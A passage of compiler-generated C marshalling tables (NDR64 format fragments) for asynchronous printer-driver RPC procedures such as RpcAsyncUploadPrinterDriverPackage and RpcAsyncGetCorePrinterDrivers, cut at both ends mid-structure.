[out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1006_t __midl_frag1006 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1022\n};\n\nstatic const __midl_frag1001_t __midl_frag1001 =\n{ \n/* RpcAsyncDeletePrinterDriverPackage */\n    { \n    /* RpcAsyncDeletePrinterDriverPackage */      /* procedure RpcAsyncDeletePrinterDriverPackage */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag1021,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszInfPath */      /* parameter pszInfPath */\n        &__midl_frag1022,\n        { \n        /* pszInfPath */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1022,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1018,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag996_t __midl_frag996 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag995_t __midl_frag995 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag994_t __midl_frag994 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag995\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag996\n    }\n};\n\nstatic const __midl_frag993_t __midl_frag993 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag994\n};\n\nstatic const __midl_frag984_t __midl_frag984 =\n{ \n/* RpcAsyncGetPrinterDriverPackagePath */\n    { \n    /* RpcAsyncGetPrinterDriverPackagePath */      /* procedure RpcAsyncGetPrinterDriverPackagePath */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag1021,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1022,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszLanguage */      /* parameter pszLanguage */\n        &__midl_frag1021,\n        { \n        /* pszLanguage */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pszPackageID */      /* parameter pszPackageID */\n        &__midl_frag1022,\n        { \n        /* pszPackageID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pszDriverPackageCab */      /* parameter pszDriverPackageCab */\n        &__midl_frag993,\n        { \n        /* pszDriverPackageCab */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* cchDriverPackageCab */      /* parameter cchDriverPackageCab */\n        &__midl_frag1018,\n        { \n        /* cchDriverPackageCab */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcchRequiredSize */      /* parameter pcchRequiredSize */\n        &__midl_frag1018,\n        { \n        /* pcchRequiredSize */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1018,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag980_t __midl_frag980 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag979_t __midl_frag979 =\n{ \n/* FILETIME */\n    { \n    /* FILETIME */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* FILETIME */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag978_t __midl_frag978 =\n{ \n/* GUID */\n    { \n    /* GUID */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* GUID */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    }\n};\n\nstatic const __midl_frag977_t __midl_frag977 =\n{ \n/* *GUID */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag978\n};\n\nstatic const __midl_frag972_t __midl_frag972 =\n{ \n/* RpcAsyncCorePrinterDriverInstalled */\n    { \n    /* RpcAsyncCorePrinterDriverInstalled */      /* procedure RpcAsyncCorePrinterDriverInstalled */\n        (NDR64_UINT32) 51118144 /* 0x30c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions, actual guaranteed */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 112 /* 0x70 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag1021,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1022,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* CoreDriverGUID */      /* parameter CoreDriverGUID */\n        &__midl_frag978,\n        { \n        /* CoreDriverGUID */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ftDriverDate */      /* parameter ftDriverDate */\n        &__midl_frag979,\n        { \n        /* ftDriverDate */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* dwlDriverVersion */      /* parameter dwlDriverVersion */\n        &__midl_frag980,\n        { \n        /* dwlDriverVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pbDriverInstalled */      /* parameter pbDriverInstalled */\n        &__midl_frag1018,\n        { \n        /* pbDriverInstalled */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1018,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag970_t __midl_frag970 =\n{ \n/* CORE_PRINTER_DRIVER */\n    { \n    /* CORE_PRINTER_DRIVER */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* CORE_PRINTER_DRIVER */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 552 /* 0x228 */\n    }\n};\n\nstatic const __midl_frag969_t __midl_frag969 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag968_t __midl_frag968 =\n{ \n/* *CORE_PRINTER_DRIVER */\n    { \n    /* *CORE_PRINTER_DRIVER */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *CORE_PRINTER_DRIVER */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 552 /* 0x228 */,\n        &__midl_frag969\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 552 /* 0x228 */,\n        &__midl_frag970\n    }\n};\n\nstatic const __midl_frag967_t __midl_frag967 =\n{ \n/* *CORE_PRINTER_DRIVER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag968\n};\n\nstatic const __midl_frag965_t __midl_frag965 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag964_t __midl_frag964 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag963_t __midl_frag963 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag964\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag965\n    }\n};\n\nstatic const __midl_frag962_t __midl_frag962 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag963\n};\n\nstatic const __midl_frag957_t __midl_frag957 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1102\n};\n\nstatic const __midl_frag956_t __midl_frag956 =\n{ \n/* RpcAsyncGetCorePrinterDrivers */\n    { \n    /* RpcAsyncGetCorePrinterDrivers */      /* procedure RpcAsyncGetCorePrinterDrivers */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag957,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1102,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cchCoreDrivers */      /* parameter cchCoreDrivers */\n        &__midl_frag1065,\n        { \n        /* cchCoreDrivers */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pszzCoreDriverDependencies */      /* parameter pszzCoreDriverDependencies */\n        &__midl_frag963,\n        { \n        /* pszzCoreDriverDependencies */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cCorePrinterDrivers */      /* parameter cCorePrinterDrivers */\n        &__midl_frag1103,\n        { \n        /* cCorePrinterDrivers */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pCorePrinterDrivers */      /* parameter pCorePrinterDrivers */\n        &__midl_frag968,\n        { \n        /* pCorePrinterDrivers */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1018,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag953_t __midl_frag953 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1065\n};\n\nstatic const __midl_frag952_t __midl_frag952 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag951_t __midl_frag951 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x5,    /* OP_UNARY_INDIRECTION */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x8,    /* FC64_UINT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag950_t __midl_frag950 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag951\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag952\n    }\n};\n\nstatic const __midl_frag949_t __midl_frag949 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag950\n};\n\nstatic const __midl_frag948_t __midl_frag948 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag947_t __midl_frag947 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag946_t __midl_frag946 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag947\n};\n\nstatic const __midl_frag942_t __midl_frag942 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag947\n};\n\nstatic const __midl_frag941_t __midl_frag941 =\n{ \n/* RpcAsyncUploadPrinterDriverPackage */\n    { \n    /* RpcAsyncUploadPrinterDriverPackage */      /* procedure RpcAsyncUploadPrinterDriverPackage */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag942,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszInfPath */      /* parameter pszInfPath */\n        &__midl_frag947,\n        { \n        /* pszInfPath */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag947,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwFlags */      /* parameter dwFlags */\n        &__midl_frag948,\n        { \n        /* dwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pszDestInfPath */      /* parameter pszDestInfPath */\n        &__midl_frag949,\n        { \n        /* pszDestInfPath */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 